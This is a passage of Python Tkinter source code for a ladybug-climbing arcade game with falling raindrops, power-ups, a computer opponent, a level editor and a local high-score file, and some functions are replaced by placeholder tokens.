event.keysym == 'r':\n init(data)\n if data.levelEditorLives > 0:\n if event.keysym == 'Left' and data.cx >= 317:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= 740:\n data.cx += data.lane / 2\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef levelCreatedRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n if data.powerUpsEditor == True:\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 100, text='Total Lives: %d' % data.\n levelEditorLives, font='Arial 20 bold', fill='yellow')\n canvas.create_text(data.width / 2, 660, text=\n \"\"\"You lose a life for hitting a drop\n & don't get eaten!\"\"\",\n font='Arial 15 bold', fill='yellow')\n if data.levelEditorLives <= 0:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n if data.level > 1:\n winEditor(canvas, data)\n drawHome(canvas, data)\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\ndef difficultyTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n\n\ndef coconutShotAI(data):\n if data.winner == None:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 40 and abs(xPosition1 - 360) > 40:\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 8 == 0:\n xPosition2 = random.randint(0, 80)\n xPosition3 = random.randint(364, 385)\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(xPosition2, 0))\n data.coconutsAI1.append(Coconuts(xPosition3, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(xPosition2 + 410, 0))\n data.coconutsAI2.append(Coconuts(xPosition3 + 410, 0))\n addExtraCoconut(data)\n addPowerUpsAI(data)\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\ndef helpKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\ndef run(width=15000, height=25000):\n\n def redrawAllWrapper(canvas, data):\n canvas.delete(ALL)\n redrawAll(canvas, data)\n canvas.update()\n\n def mousePressedWrapper(event, canvas, data):\n mousePressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def keyPressedWrapper(event, canvas, data):\n keyPressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def timerFiredWrapper(canvas, data):\n timerFired(data)\n redrawAllWrapper(canvas, data)\n canvas.after(data.timerDelay, timerFiredWrapper, canvas, data)\n\n\n class Struct(object):\n pass\n data = Struct()\n data.width = width\n data.height = height\n data.timerDelay = 100\n root = Tk()\n init(data)\n canvas = Canvas(root, width=data.width, height=data.height)\n canvas.pack()\n root.bind('<Button-1>', lambda event: mousePressedWrapper(event, canvas,\n data))\n root.bind('<Key>', lambda event: keyPressedWrapper(event, canvas, data))\n timerFiredWrapper(canvas, data)\n root.mainloop()\n print('bye!')\n\n\n<code token>\n", "<import token>\n\n\ndef init(data):\n data.score = 0\n data.mode = 'splashScreen'\n data.timerDelay = 100\n data.height = 800\n data.width = 800\n data.speed = 10\n data.speedAI = 12\n data.speedAI2 = 12\n data.switchOnProgress = False\n data.r = 25\n data.cx = 280\n data.cy = 750\n data.onLeft1, data.onLeft2 = True, True\n data.win = False\n data.coconuts = []\n data.powerUps = []\n data.coconuts1 = []\n data.coconuts2 = []\n data.coconutsAI1 = []\n data.coconutsAI2 = []\n data.invincible = []\n data.pauseDrops = False\n data.pause1Drop = False\n data.pause2Drop = False\n init1(data)\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\ndef mousePressed(event, data):\n if data.mode == 'splashScreen':\n splashScreenMousePressed(event, data)\n elif data.mode == '1Player':\n playerMousePressed(event, data)\n elif data.mode == '2Player':\n twoPlayerMousePressed(event, data)\n elif data.mode == 'editor':\n editorMousePressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedMousePressed(event, data)\n elif data.mode == 'AI':\n AIMousePressed(event, data)\n elif data.mode == 'difficulty':\n difficultyMousePressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardMousePressed(event, data)\n elif data.mode == 'help':\n helpMousePressed(event, data)\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef writeFile(path, contents):\n with open(path, 'wt') as f:\n f.write(contents)\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n\n\ndef hit2Player(data):\n if data.mode == '2Player':\n if data.Invincible1 == False:\n for coconut in data.coconuts1:\n if (coconut.y >= data.player1Y - data.r and coconut.y <= \n data.player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <=\n data.player1X + data.r):\n data.player1Y += data.hitPenalty\n data.coconuts1.remove(coconut)\n if data.Invincible2 == False:\n for coconut in data.coconuts2:\n if (coconut.y >= data.player2Y - data.r and coconut.y <= \n data.player2Y + data.r):\n if (coconut.x >= data.player2X - data.r and coconut.x <=\n data.player2X + data.r):\n data.player2Y += data.hitPenalty\n data.coconuts2.remove(coconut)\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\ndef checkHome(event, data):\n if data.homeY - data.r <= event.y <= data.homeY + data.r:\n if data.homeX - data.r <= event.x <= data.homeX + data.r:\n init(data)\n\n\ndef coconutShot(data):\n if data.level > 0 and data.pauseDrops == False:\n if data.time % int(data.levelMax / data.level\n ) == 0 or data.time % 6 == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(data.Player1Max + data.buffer, data\n .width + data.buffer)\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n xPosition4 = random.randint(data.Player1Min - data.buffer, data\n .Player1Max + data.buffer)\n data.coconuts.append(Coconuts(xPosition4, 0))\n if data.time % 5 == 0:\n xPosition3 = random.randint(0, data.Player1Min - data.buffer)\n data.coconuts.append(Coconuts(xPosition3, 0))\n if data.time % int(24 / data.level) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(data.Player1Min, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(data.Player1Max, 0))\n powerUpCoconutShot(data)\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\ndef madeIt(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 70, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n canvas.create_text(data.width / 2, 100, text='Score: %d' % data.score,\n font='Arial 15 bold', fill='yellow')\n canvas.create_text(data.width / 2, 375, text=\n 'Congrats! Enter your Name!', font='Arial 15 bold', fill='yellow')\n canvas.create_rectangle(data.width / 2 - 50, 400, data.width / 2 + 50, \n 450, fill='white')\n canvas.create_text(data.width / 2, 425, text=data.name)\n\n\ndef drop2Player(data):\n if 